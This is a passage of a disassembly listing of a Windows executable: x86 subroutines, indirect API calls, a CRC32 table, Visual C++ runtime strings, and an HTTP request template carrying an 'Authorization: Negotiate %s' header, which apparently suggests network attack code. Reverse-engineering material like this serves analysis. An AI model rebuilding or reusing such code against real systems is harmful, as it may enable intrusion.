		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 261051Fh
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 261051Fh
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821065h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2821065h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25E0000h, 25E1078h, 25F0000h, 25F0577h, 2600000h, 2600B62h
		dd 2610000h, 26104B6h, 261051Fh, 2620000h, 26208BBh, 2630000h
		dd 26301F9h, 2630A0Fh, 2630C5Ah
dword_42703C	dd 2630C79h		; DATA XREF: ___:004231D9r
		dd 2640000h, 2640311h, 264032Dh, 2640416h, 2650000h, 2660000h
		dd 2670000h, 2670391h, 2670885h, 77E75CB5h
dword_427068	dd 2670894h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670C18h, 2680000h, 2680B57h
dword_427078	dd 2680F4Eh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 2690000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 26901B6h
dword_427084	dd 26902B8h		; DATA XREF: sub_4196BD+B9r
		dd 26908A2h
dword_42708C	dd 26908E1h		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 269091Dh		; DATA XREF: ___:loc_4013DCr
		dd 2690DA3h, 2690EB6h
dword_42709C	dd 26A0000h		; DATA XREF: sub_409B13+2r
		dd 26A011Eh, 26A0180h
dword_4270A8	dd 26A0871h		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 26A0949h		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26B0000h, 26B0D54h
dword_4270B8	dd 26C0000h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26C045Ch		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26D0000h, 26E0000h, 26E05D0h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F05D5h, 26F07F3h, 2700000h, 27008D1h
dword_4270E8	dd 2710000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 2710776h		; DATA XREF: sub_418294+36r
		dd 2710ABAh, 2720000h
dword_4270F8	dd 2720632h		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2730000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 2740000h, 2750000h, 2750C21h, 2760000h, 27607D6h, 2770000h
		dd 277034Ah, 2780000h, 2780C1Eh, 2780EABh, 2790000h, 279011Eh
		dd 2790A92h, 27A0000h, 27A03ABh
dword_42713C	dd 27A06C3h		; DATA XREF: sub_416F1B+BCr
		dd 27B0000h
dword_427144	dd 27C0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27C0AD1h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27C0B71h
dword_427150	dd 27D0000h		; DATA XREF: sub_417276+56r
		dd 27D0297h, 27E0000h, 27F0000h, 27F060Dh, 2800000h, 280030Ch
		dd 2800422h, 2810000h, 2810720h, 2820000h
dword_42717C	dd 2821065h		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 28310A5h, 28314D9h, 2831A3Ch, 2840000h, 2850000h, 2860000h
		dd 286211Bh, 2870000h, 2880000h, 2890000h, 2891A75h, 2891AA5h
		dd 28A0000h, 28B0000h, 28B015Dh
dword_4271C0	dd 28B06C4h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28B07B7h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28B0952h, 28C0000h, 28C080Ch, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
